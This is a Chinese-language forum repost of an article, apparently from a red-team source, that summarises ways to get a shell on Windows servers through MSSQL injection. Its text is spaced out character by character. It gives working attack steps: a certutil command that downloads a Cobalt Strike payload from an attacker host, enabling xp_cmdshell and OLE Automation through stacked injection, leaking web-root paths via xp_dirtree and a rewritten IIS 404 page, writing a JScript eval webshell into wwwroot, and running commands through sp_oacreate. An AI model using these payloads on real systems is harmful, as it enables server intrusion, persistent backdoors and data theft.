搜索

[18249] 2021-01-03_MSSQLGetShell方法总结

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-01-03_MSSQLGetShell方法总结 M S S Q L   G e t S h e l l 方 法 总 结 M a c c h i a t o   H A C K 之 道   2 0 2 1 - 0 1 - 0 3 0 x 0 1   环 境 准 备 环 境 准 备 0 8 和 0 5 的 m s s q l 还 是 有 些 区 别 的 0 5 以 下 系 统 权 限 为 s y s t e m 0 8 以 上 系 统 权 限 就 不 是 s y s t e m 了 ， 看 到 好 几 种 ， 比 较 多 的 是 n e t w o r k   s e r v i c e 0 x 0 2   通 过 命 令 下 载 文 件 得 到 通 过 命 令 下 载 文 件 得 到 s h e l l c e r t u t i l 这 个 用 的 比 较 多 ， 别 的 也 没 有 试 过 ， 这 篇 文 章 比 较 详 细 h t t p s : / / p a y l o a d s . o n l i n e / a r c h i v e r s / 2 0 1 7 - 1 1 - 0 8 / 1 环 境 用 的 是 0 8 首 先 通 过 s q l m a p   - - o s - s h e l l 得 到 执 行 命 令 的 权 限 打 开 p y t h o n 一 句 话 服 务 器 ， 在 C S 上 面 生 成 木 马 放 到 根 目 录 如 果 提 示 拒 绝 访 问 ， 可 以 在 找 一 个 能 创 建 文 件 夹 的 目 录 ， 创 建 完 之 后 下 载 到 文 件 夹 里 这 里 会 超 时 ， 然 后 s q l m a p 会 重 复 执 行 命 令 ， C S 会 上 线 好 几 次 ， 如 果 不 需 要 的 话 发 现 上 线 直 接 退 出 s q l m a p 即 可 w i n d o w s 2 0 0 8 + M S S Q L 2 0 0 8 + i i s 7 w i n d o w s 2 0 0 3 + M S S Q L 2 0 0 5 + i i s 6 c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 1 6 3 . 1 2 8 : 8 0 8 0 / a r t i f a c t . e x e
这 里 用 户 本 来 应 该 是 n e t w o r k   s e r v i c e ， 但 是 安 装 的 时 候 设 置 了 一 下 就 变 成 a d m i n i s t r a t o r ， 如 果 为 n e t w o r k   s e r v i c e 可 以 使 用 j u i c y p o t a t o 提 权 0 x 0 3   绝 对 路 径 写 绝 对 路 径 写 w e b s h e l l 写 w e b s h e l l 不 难 ， 但 是 找 到 绝 对 路 径 挺 难 的 ， 总 结 了 一 下 找 绝 对 路 径 的 方 法 报 错 信 息 配 置 文 件 c m d 命 令 搜 索 文 件 找 旁 站 路 径 x p _ d i r t r e e x p _ s u b d i r s 修 改 4 0 4 页 面 爆 破 路 径 通 过 堆 叠 注 入 开 启 x p _ c m d s h e l l
报 错 信 息 报 错 信 息 这 个 需 要 管 理 员 配 置 过 w e b . c o n f i g ， 如 果 没 配 置 过 是 看 不 到 的 （ 配 置 过 也 不 一 定 看 的 到 . . ） < c o n f i g u r a t i o n >         < s y s t e m . w e b >                 < c u s t o m E r r o r s   m o d e = " O f f " / >         < / s y s t e m . w e b > < / c o n f i g u r a t i o n > 这 样 应 该 是 可 以 看 到 路 径 的 配 置 文 件 配 置 文 件 通 过 t y p e 读 取 配 置 文 件 适 用 于 适 用 于 2 0 0 5 或 者 高 权 限 启 动 的 或 者 高 权 限 启 动 的 2 0 0 8 这 个 没 啥 问 题 ， 最 好 是 有 联 合 查 询 注 入 的 时 候 使 用 ， 不 然 是 真 的 慢 E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E ; C : W i n d o w s s y s t e m 3 2 i n e t s r v m e t a b a s e . x m l                 # i i s 6 C : W i n d o w s S y s t e m 3 2 i n e t s r v c o n f i g a p p l i c a t i o n H o s t . c o n f i g               # i i s 7
这 是 0 8 的 配 置 文 件 c m d 命 令 搜 索 文 件 命 令 搜 索 文 件 结 果 h w 的 时 候 坑 了 一 下 ， 碰 到 的 一 个 服 务 器 没 有 E 盘 却 有 F 盘 ， 然 后 列 到 没 E 盘 就 没 往 下 试 了 ， 完 美 的 错 过 了 网 站 根 目 录 ， 而 且 在 D 盘 里 面 还 有 个 很 像 网 站 根 目 录 的 地 方 ， 就 使 劲 往 里 写 ， 但 是 一 点 反 应 都 没 有 ， 还 好 后 来 有 个 师 傅 在 F 盘 里 面 找 到 了 根 目 录 最 后 拿 到 了 s h e l l 其 实 当 时 s q l m a p 在 列 数 据 库 路 径 的 时 候 也 显 示 数 据 库 在 F 盘 里 ， 不 过 后 来 一 直 想 着 总 不 会 真 的 在 F 盘 里 吧 ， 外 加 是 时 间 盲 注 真 的 很 慢 就 没 有 去 试 ， 结 果 还 真 的 踩 坑 了 ， 看 来 以 后 还 是 需 要 细 心 后 来 问 了 师 傅 是 怎 么 找 到 根 目 录 的 ， 师 傅 说 用 了 f o r 循 环 ， 但 是 没 有 给 出 具 体 命 令 ， 然 后 我 去 网 上 查 了 一 下 ， 自 己 写 了 一 条 d i r / s / b   c : i n d e x . a s p x / s             # 列 出 所 有 子 目 录 下 的 文 件 和 文 件 夹 / b             # 只 列 出 路 径 和 文 件 名 ， 别 的 属 性 全 部 不 显 示 d i r 本 身 有 检 索 功 能 ， 直 接 输 入   d i r   i n d e x . a s p x ， 会 列 出 当 前 文 件 夹 下 文 件 名 为 i n d e x . a s p x 的 文 件 属 性 ， 通 过 上 面 的 命 令 可 以 检 索 磁 盘 下 面 的 文 件 ， 并 且 不 列 出 文 件 属 性 ， 减 少 数 据 量 。 尽 量 找 一 些 不 是 很 常 见 的 文 件 名 ， 如 果 同 服 务 器 有 别 的 网 站 或 者 有 备 份 文 件 ， 用 常 见 的 名 字 会 列 出 很 多
命 令 这 个 命 令 看 起 来 有 点 蠢 （ 其 实 真 的 蠢 ， 应 该 还 有 效 率 高 的 但 是 想 不 出 来 了 . . ） 还 有 用 这 个 命 令 最 好 在 l i n u x 上 面 的 s q l m a p 的 ， l i n u x 上 面 发 现 绝 对 路 径 可 以 直 接 C t r l + c 停 止 ， 会 返 回 o s - s h e l l ， 如 果 w i n d o w s 就 会 直 接 退 出 s q l m a p o s - s h e l l 最 好 使 用 q 退 出 ， 让 s q l m a p 按 照 完 整 的 过 程 退 出 o s - s h e l l ， 如 果 直 接 退 出 可 能 会 出 点 问 题 ， 比 如 第 二 次 o s - s h e l l 就 上 不 去 了 s q l m a p   超 时 时 间 需 要 设 置 长 一 点 ， 毕 竟 要 跑 全 盘 ， - - t i m e o u t = 1 0 0 找 旁 站 路 径 找 旁 站 路 径 看 看 旁 站 有 没 有 地 方 可 以 爆 出 绝 对 路 径 ， 写 到 旁 站 里 面 之 前 碰 到 过 一 个 m y s q l 的 网 站 ， 可 以 写 文 件 但 是 注 入 的 那 个 站 目 录 不 可 写 ， 通 过 s q l m a p 读 出 h t t p d . c o n f ， 在 里 面 找 到 了 旁 站 的 路 径 ， 然 后 写 了 w e b s h e l l x p _ d i r t r e e x p _ d i r t r e e 有 三 个 参 数 ， f o r   % i   i n   ( c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   v   z )   d o   @ ( d i r / s / b   % i : s q l . a s p x )
1 .   要 列 的 目 录 2 .   是 否 要 列 出 子 目 录 下 的 所 有 文 件 和 文 件 夹 ， 默 认 为 0 ， 如 果 不 需 要 设 置 为 1 3 .   是 否 需 要 列 出 文 件 ， 默 认 为 不 列 ， 如 果 需 要 列 文 件 设 置 为 1 通 过 堆 叠 注 入 建 表 ， 将 输 出 插 入 表 里 ， 通 过 注 入 将 表 列 出 来 因 为 x p _ d i r t r e e 输 出 是 三 个 字 段 的 所 以 要 创 建 一 个 三 个 字 段 的 表   ， 字 段 名 可 以 随 便 取 x p _ d i r t r e e   ' c : ' ,   1 ,   1             # 列 出 当 前 目 录 下 所 有 的 文 件 和 文 件 夹 h t t p : / / 1 9 2 . 1 6 8 . 1 6 3 . 1 3 3 / s q l . a s p x ? i d = 1 ; c r e a t e   t a b l e   d i r ( s u b d i r e c t o r y   v a r c h a r ( 2 5 5 ) , d e p t h   i n t ,   f i l e e   i n t ) ; i n s e r t   i n t o   d i r ( s u b d i r e c t o r y , d e p t h , f i l e e )   e x e c   x p _ d i r t r e e   ' c : ' , 1 , 1
通 过 s q l m a p 列 出 d i r 表 就 可 以 看 到 目 录 了 s q l m a p 有 缓 存 ， 可 以 通 过 - - f r e s h - q u e r i e s 重 新 列 数 据 表 ， - - f l u s h - s e s s i o n 这 个 直 接 清 掉 缓 存 重 新 跑 x p _ s u b d i r s 这 个 方 法 和 上 面 的 一 样 ， 缺 点 是 不 能 列 出 文 件 修 改 修 改 4 0 4 页 面 页 面 x p _ s u b d i r s   ' c : '
适 用 于 适 用 于 2 0 0 5 或 者 高 权 限 启 动 的 或 者 高 权 限 启 动 的 2 0 0 8 上 面 有 两 个 配 置 文 件 路 径 一 个 是 i i s 6 一 个 是 i i s 7 i i s 的 报 错 页 面 一 般 都 在 C : i n e t p u b c u s t e r r z h - C N 最 后 语 言 这 个 文 件 夹 可 能 会 变 ， 之 前 看 到 湾 湾 的 是 z h - T W ， 如 果 是 外 语 的 话 可 能 也 会 变 成 相 应 的 如 果 是 0 5 的 数 据 库 要 修 改 配 置 文 件 路 径 C : W I N D O W S H e l p i i s H e l p c o m m o n 4 0 4 b . h t m   # i i s 6   4 0 4 页 面 位 置 C : W i n d o w s s y s t e m 3 2 i n e t s r v m e t a b a s e . x m l   # i i s 6   配 置 文 件 爆 破 路 径 爆 破 路 径 爆 破 我 觉 得 实 在 有 点 不 现 实 就 不 写 了 ， 毕 竟 路 径 只 要 不 是 默 认 的 基 本 就 很 难 猜 到 了 e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E e x e c   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' , 1 ; R E C O N F I G U R E d e c l a r e   @ o   i n t e x e c   s p _ o a c r e a t e   ' s c r i p t i n g . f i l e s y s t e m o b j e c t ' ,   @ o   o u t e x e c   s p _ o a m e t h o d   @ o ,   ' c o p y f i l e ' , n u l l , ' C : W i n d o w s S y s t e m 3 2 i n e t s r v c o n f i g a p p l i c a t i o n H o s t . c o n f i g '   , ' C : i n e t p u b c u s t e r r z h - C N 4 0 4 . h t m ' ;
一 般 来 说 i i s 的 默 认 根 目 录 为 C : i n e t p u b w w w r o o t 得 到 绝 对 路 径 之 后 就 可 以 写 入 w e b s h e l l 了 < > 需 要 转 义 0 x 0 4   s p _ o a c r e a t e 写 入 写 入 w e b s h e l l 需 要 知 道 绝 对 路 径 需 要 知 道 绝 对 路 径 如 果 x p _ c m d s h e l l 被 删 除 无 法 恢 复 ， 或 者 被 过 滤 ， 可 以 使 用 x p _ d i r t r e e 或 x p _ s u b d i r s 列 出 目 录 ， 通 过 s p _ o a c r e a t e 写 入 w e b s h e l l 通 过 堆 叠 注 入 开 启 s p _ o a c r e a t e 这 个 之 前 没 了 解 ， 看 了 文 章 发 现 还 挺 有 趣 的 ， 利 用 的 方 法 也 很 多 先 写 最 简 单 的 执 行 命 令 吧 列 出 c m d _ o u t p u t 得 到 命 令 结 果 如 果 这 个 命 令 执 行 成 功 ， 会 返 回 0 e c h o   ^ < % @   P a g e   L a n g u a g e = " J s c r i p t " % ^ > ^ < % R e s p o n s e . W r i t e ( e v a l ( R e q u e s t . I t e m [ " z " ] , " u n s a f e " ) ) ; % ^ >   >   C : i n e t p u b w w w r o o t s h e l l . a s p x e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E e x e c   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' , 1 ; R E C O N F I G U R E d e c l a r e   @ o   i n t ; e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ o   o u t ; e x e c   s p _ o a m e t h o d   @ o , ' r u n ' , n u l l , ' c m d   / c   m k d i r   c : t e m p ' ; e x e c   s p _ o a m e t h o d   @ o , ' r u n ' , n u l l , ' c m d   / c   " n e t   u s e r "   >   c : t e m p u s e r . t x t ' ; c r e a t e   t a b l e   c m d _ o u t p u t   ( o u t p u t   t e x t ) ; B U L K   I N S E R T   c m d _ o u t p u t   F R O M   ' c : t e m p u s e r . t x t '   W I T H   ( F I E L D T E R M I N A T O R = ' n ' , R O W T E R M I N A T O R   =   ' n n ' )             - -   括 号 里 面 两 个 参 数 是 行 和 列 的 分 隔 符 ， 随 便 写 就 行 s e l e c t   *   f r o m   c m d _ o u t p u t
其 实 就 是 执 行 了 一 个 v b s 还 有 一 种 用 S h e l l . A p p l i c a t i o n 的 方 法 ， 这 个 直 接 执 行 命 令 没 有 复 现 成 功 ， 但 是 通 过 v b s 脚 本 执 行 命 令 是 成 功 的 可 以 使 用 s c r i p t i n g . f i l e s y s t e m o b j e c t 写 入 文 件 后 执 行 S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " w s c r i p t . s h e l l " ) o b j S h e l l . r u n   " c m d   / c   m k d i r   c : t e m p " o b j S h e l l . r u n   " c m d   / c   n e t   u s e r   >   c : t e m p u s e r . t x t "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理